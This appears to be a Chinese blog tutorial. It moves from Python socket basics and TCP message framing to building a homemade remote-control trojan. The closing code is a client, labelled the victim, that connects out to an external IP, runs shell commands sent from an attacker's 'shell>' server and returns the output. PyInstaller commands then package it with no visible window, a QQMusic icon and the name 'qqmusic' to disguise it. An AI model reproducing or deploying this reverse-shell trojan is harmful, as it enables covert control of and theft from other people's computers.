本篇文章仅用于学习记录和交流,不得用于其他违规用途,产生的不良后果,自己负责。
一、Socket介绍
首先socket (套接字) 是工作在应用层和传输层之间一个抽像层 , 为什么要有他呢 ? 虽然我们已经有了ip+port可以和世界上任意一台计算机上的软件通信了 , 但是需要我们自己构造数据 , 以及封包 , 以及如何转换成2进制 . 相当麻烦 , 不利于开发 , 于是有了socket , 这个对数据封装的复杂工作交给他完成就好了 , 我们只需要调用相关接口就ok了 , 同样收数据也是基于socket层
所以我们无论用什么编程语言去开发网络通信的软件都不会自己封包解包 , 都是基于套接字的实现的 , 同样最后当应用层的数据传输结束了 , 你要在合适的地方用socket把系统资源给释放了
1、为什么学习socket
或者说用socket我们能实现什么 ? socket可以帮助我们解决两个软件之间的通信问题 , 大家都知道ip可以定位一台电脑 , 那么电脑上那么多软件我的软件怎么知道要跟另一个软件通信而不是和qq通信? 这就引出来了端口 , ip+port可以定位到你电脑上的某个应用程序(软件) , 大家都知道端口是不能重复的
你想一想远控(c2)是不是也是两个软件的通信? 木马和控制端的通信 , 不管你用的什么协议 底层都是socket之间的通信 , 只不过在上面规范了一些数据包的传输而已 , 所以我们也可以自己基于socket编写远控
2、套接字发展史及分类
套接字起源于 20 世纪 70 年代加利福尼亚大学伯克利分校版本的 Unix,即人们所说的 BSD Unix。 因此,有时人们也把套接字称为“伯克利套接字”或“BSD 套接字”。一开始,套接字被设计用在同 一台主机上多个应用程序之间的通讯。这也被称进程间通讯,或 IPC。套接字有两种(或者称为有两个种族),分别是基于文件型的和基于网络型的。
基于文件类型的套接字家族
套接字家族的名字:AF_UNIX
unix一切皆文件,基于文件的套接字调用的就是底层的文件系统来取数据,两个套接字进程运行在同一机器,可以通过访问同一个文件系统间接完成通信
基于网络类型的套接字家族
套接字家族的名字:AF_INET
(还有AF_INET6被用于ipv6,还有一些其他的地址家族,不过,他们要么是只用于某个平台,要么就是已经被废弃,或者是很少被使用,或者是根本没有实现,所有地址家族中,AF_INET是使用最广泛的一个,python支持很多种地址家族,但是由于我们只关心网络编程,所以大部分时候我么只使用AF_INET)
3、套接字工作流程
一个生活中的场景。你要打电话给一个朋友,先拨号,朋友听到电话铃声后提起电话,这时你和你的朋友就建立起了连接,就可以讲话了。等交流结束,挂断电话结束此次交谈。 生活中的场景就解释了这工作原理。
先从服务器端说起。服务器端先初始化Socket,然后与端口绑定(bind),对端口进行监听(listen),调用accept阻塞,等待客户端连接。在这时如果有个客户端初始化一个Socket,然后连接服务器(connect),如果连接成功,这时客户端与服务器端的连接就建立了。客户端发送数据请求,服务器端接收请求并处理请求,然后把回应数据发送给客户端,客户端读取数据,最后关闭连接,一次交互结束
二、TCP套接字
1、单次通信
客户端代码:
# 客户端
import socket
# 1.买手机
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 基于网络 , tcp协议,默认不写也是这个
# 2.打电话,前提要知道对方的ip和port
sock.connect(('127.0.0.1',8080))
# 3.发送数据
sock.send(b'hello word') # 发送的数据必须是bytes类型
# 4.关闭
sock.close()
服务端代码
服务端
i
import socket
# 1.买手机
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 基于网络 , tcp协议,默认不写也是这个
# 2.绑定手机卡
sock.bind(('127.0.0.1', 8080)) # 1024以前都被系统占用了
# 3.开机
sock.listen(5) # 半连接池允许的个数5
# 4.等待连接请求
print("等待客户端连接......")
conn, client_addr = sock.accept()
print("建立了一个管道: {}".format(conn))
print('客户端的地址: {}'.format(client_addr))
# 5.接收数据
msg = conn.recv(1024) # 最大接收的数据量为1024个字节,收到的是bytes类型
# 6.打印数据
print(f"接收到的数据 : {msg.decode()}")
# 7.关闭管道连接(必选,回收资源的操作)
conn.close()
# 8.关闭服务端sock对象(可选)
sock.close()
2、通信循环
客户端代码:
# 客户端
import socket
# 1.买手机
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 基于网络 , tcp协议,默认不写也是这个
# 2.打电话,前提要知道对方的ip和port
sock.connect(('127.0.0.1', 8080))
# 3.发送数据
while 1:
data = input('请输入你要发送的数据>>>').strip()
if not data: continue
sock.send(data.encode())
msg = sock.recv(1024).decode()
print(msg)
服务端代码:
# 服务端
import socket
# 1.买手机
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 基于网络 , tcp协议,默认不写也是这个
# 2.绑定手机卡
sock.bind(('127.0.0.1', 8080))
# 3.开机
sock.listen(5)
# 4.等待连接请求
print("等待客户端连接......")
conn, client_addr = sock.accept()
while 1:
try:
# 5.接收数据
msg = conn.recv(1024).decode() # 最大接收的数据量为1024个字节,收到的是bytes类型
if not msg: break # 如果msg为空,意味是一种异常的行为,客户端非法断开,此时应该断开链接
# 6.打印数据
print(f"接收到的数据 : {msg}")
# 7.回复客户端数据
conn.send(msg.upper().encode())
except Exception:
# 针对win
break
conn.close()
sock.close()
==出现了粘包问题。==
只有TCP有粘包现象,UDP永远不会粘包。
例如基于tcp的套接字客户端往服务端上传文件,发送时文件内容是按照一段一段的字节流发送的,在接收方看了,根本不知道该文件的字节流从何处开始,在何处结束
所谓粘包问题主要还是因为接收方不知道消息之间的界限,不知道一次性提取多少字节的数据所造成的。
此外,发送方引起的粘包是由TCP协议本身造成的,TCP为提高传输效率,发送方往往要收集到足够多的数据后才发送一个TCP段。若连续几次需要send的数据都很少,通常TCP会根据优化算法把这些数据合成一个TCP段后一次发送出去,这样接收方就收到了粘包数据。
解决:
客户端:
import socket
import struct
def recv_data(sock, buf_size=1024):
"""解决粘包"""
# 先接受命令执行结果的长度
x = sock.recv(4)
all_size = struct.unpack('i', x)[0]
# 接收真实数据
recv_size = 0
data = b''
while recv_size < all_size:
data += sock.recv(buf_size)
recv_size += buf_size
return data
def send_data(sock, data):
"""发送数据也解决粘包问题"""
if type(data) == str:
data = data.encode("utf-8")
# 新增发送命令的粘包解决方案
# 计算命令长度 , 打包发送
cmd_len = struct.pack('i', len(data))
sock.send(cmd_len)
# 发送命令
sock.send(data)
def main():
client = socket.socket()
client.connect(('127.0.0.1', 8082))
while 1:
try:
# 新增解包接收命令
msg = recv_data(client) # 接收对面传来的数据
if msg == b"q":break
print(msg.decode("utf-8"))
# 发送内容
msg = input("请输入你要回复的内容:").strip()
send_data(client, msg)
except Exception:
break
client.close()
if __name__ == '__main__':
main()
服务端:
import socket
import struct
def recv_data(sock, buf_size=1024):
"""解决粘包"""
# 先接受命令执行结果的长度
x = sock.recv(4)
all_size = struct.unpack('i', x)[0]
# 接收真实数据
recv_size = 0
data = b''
while recv_size < all_size:
data += sock.recv(buf_size)
recv_size += buf_size
return data
def send_data(sock, data):
"""发送数据也解决粘包问题"""
if type(data) == str:
data = data.encode("utf-8")
# 新增发送命令的粘包解决方案
# 计算命令长度 , 打包发送
cmd_len = struct.pack('i', len(data))
sock.send(cmd_len)
# 发送命令
sock.send(data)
def main():
server = socket.socket()
server.bind(('127.0.0.1', 8082))
server.listen(2)
print("等待链接.....")
conn, c_addr = server.accept()
print(f"新建一个链接,链接管道为{conn}")
print(f"当前客户端的地址为{c_addr}")
while 1:
try:
data = input(f'请输入你要发送的内容>').strip()
if not data:continue
send_data(conn,data)
if data == "q":
break
# 接收客户端发来的内容
data = recv_data(conn)
print(data.decode("utf-8"))
except Exception:
break
conn.close()
server.close()
if __name__ == '__main__':
main()
==注意:客户端可以发送空,服务端这边不能接受空。==
三、Subprocess模块
这个模块也是一个内置模块,相对于os.system,可以控制系统命令执行后的输出的编码方式,达不到乱码。
例子:
import subprocess
obj = subprocess.Popen("whoami", shell=True,
stdout=subprocess.PIPE, # 标准正确输出
stderr=subprocess.PIPE) # 标准错误输出
# 正确输出
res = obj.stdout.read()
print(res)
# 解码
print(res.decode('gbk')) #subprocess使用当前系统默认编码,得到结果为bytes类型,在windows下需要用gbk解码
# 错误输出
res_err = obj.stderr.read()
# 打印
print(res_err)
在原来的通信基础上,新增接收命令,并执行命令,然后发送命令执行的结果,解决粘包:
客户端:
import socket
import struct
import subprocess
def exec_cmd(command):
"""执行命令函数"""
obj = subprocess.Popen(command.decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
stdout_res = obj.stdout.read() + obj.stderr.read()
return stdout_res
def recv_data(sock, buf_size=1024):
"""解决粘包"""
# 先接受命令执行结果的长度
x = sock.recv(4)
all_size = struct.unpack('i', x)[0]
# 接收真实数据
recv_size = 0
data = b''
while recv_size < all_size:
data += sock.recv(buf_size)
recv_size += buf_size
return data
def send_data(sock, data):
"""发送数据也解决粘包问题"""
if not data: return
if type(data) == str:
data = data.encode("utf-8")
# 新增发送命令的粘包解决方案
# 计算命令长度 , 打包发送
cmd_len = struct.pack('i', len(data))
sock.send(cmd_len)
# 发送命令
sock.send(data)
def main():
client = socket.socket()
client.connect(('111.111.111.11', 8082))
while 1:
try:
# 新增解包接收命令
cmd = recv_data(client) # 接收对面传来的数据
if cmd == b"q": break
# 调用subprocess中的方法去执行这个系统命令
res = exec_cmd(cmd)
send_data(client, res)
except Exception:
break
client.close()
if __name__ == '__main__':
main()
服务端:
import socket
import struct
def recv_data(sock, buf_size=1024):
"""解决粘包"""
# 先接受命令执行结果的长度
x = sock.recv(4)
all_size = struct.unpack('i', x)[0]
# 接收真实数据
recv_size = 0
data = b''
while recv_size < all_size:
data += sock.recv(buf_size)
recv_size += buf_size
return data
def send_data(sock, data):
"""发送数据也解决粘包问题"""
if type(data) == str:
data = data.encode("utf-8")
# 新增发送命令的粘包解决方案
# 计算命令长度 , 打包发送
cmd_len = struct.pack('i', len(data))
sock.send(cmd_len)
# 发送命令
sock.send(data)
def main():
server = socket.socket()
server.bind(('127.0.0.1', 8082))
server.listen(2)
print("等待链接.....")
conn, c_addr = server.accept()
while 1:
try:
cmd = input(f'shell>').strip()
if not cmd:continue
if cmd == "q":
send_data(conn, cmd)
break
send_data(conn,cmd)
# 接收客户端发来的内容
data = recv_data(conn)
print(data.decode("gbk").strip())
except Exception:
break
conn.close()
server.close()
if __name__ == '__main__':
main()
四、py打包exe
安装:
pip3 install pyinstaller
打包命令:
pyinstaller -F -w demo.py
-F 打包成一个exe文件
-w 不显示黑窗口 (默认会显示) , 也可以用 --noconsole 参数
-i 指定图标 , .ico文件 或者是exe文件 , 会自动提取exe文件的图标
-n 指定打包好的文件名
打包好的程序在dist目录下,示例:
pyinstaller -F -w 05.受害者.py -i "C:\\Program Files (x86)\\Common Files\\Tencent\\QQMusic\\QQMusicService.exe" -n qqmusic
pyinstaller -F -w 10.客户端(受害者).py -i "C:\\Program Files (x86)\\Common Files\\Tencent\\QQMusic\\QQMusicService.exe" -n main
==注意:py不支持交叉编译。==
可视化打包:
pip3 install auto-py-to-exe
auto-py-to-exe
本质还是pyinstaller